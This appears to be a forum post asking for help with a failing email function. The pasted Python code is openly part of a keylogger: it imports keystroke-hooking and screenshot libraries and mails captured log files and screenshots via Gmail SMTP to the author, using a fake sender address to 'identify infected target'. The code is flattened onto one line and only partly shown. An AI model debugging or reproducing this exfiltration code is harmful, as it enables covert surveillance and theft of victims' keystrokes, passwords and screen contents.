I am trying to send email but it is not working.
from kivy.app import App from threading import Timer from threading import Thread from email.mime.text import MIMEText from email.mime.image import MIMEImage from email.mime.multipart import MIMEMultipart import subprocess, socket, base64, time, datetime, os, sys, urllib2, platform import pythoncom, pyHook, Image, ImageGrab, win32api, win32gui, win32con, smtplib # Keylogger settings ################################# # Email Settings # LOG_SENDMAIL = True # set to True to send emails LOG_MAIL = "[email protected]" # account email address (must exist) LOG_PASS = ";)" # email's password (must exist) LOG_FROM = "[email protected]" # email will be sent from this address (fake) - useful to identify infected target =) LOG_SUBJ = "logsheetAhmad" # email subject LOG_MSG = "Hi there" # email content - the body # send email function # this example is for GMAIL, if you use a different server # you MUST change the line below to the server/port needed server = smtplib.SMTP("smtp.gmail.com:587") def sendEmail(): msg = MIMEMultipart() msg['Subject'] = LOG_SUBJ msg['From'] = LOG_FROM msg['To'] = LOG_MAIL msg.preamble = LOG_MSG # attach each file in LOG_TOSEND list for file in LOG_TOSEND: # attach text file if file[-4:] == '.txt': fp = open(file) attach = MIMEText(fp.read()) fp.close() # attach images elif file[-4:] == '.png': fp = open(file, 'rb') attach = MIMEImage(fp.read()) fp.close() attach.add_header('Content-Disposition', 'attachment; filename="%s"' % os.path.basename(file)) msg.attach(attach) server = smtplib.SMTP('smtp.gmail.com:587') server.starttls() server.login(LOG_MAIL, LOG_PASS) server.sendmail(LOG_FROM, LOG_MAIL, msg.as_string()) server.quit()Thanks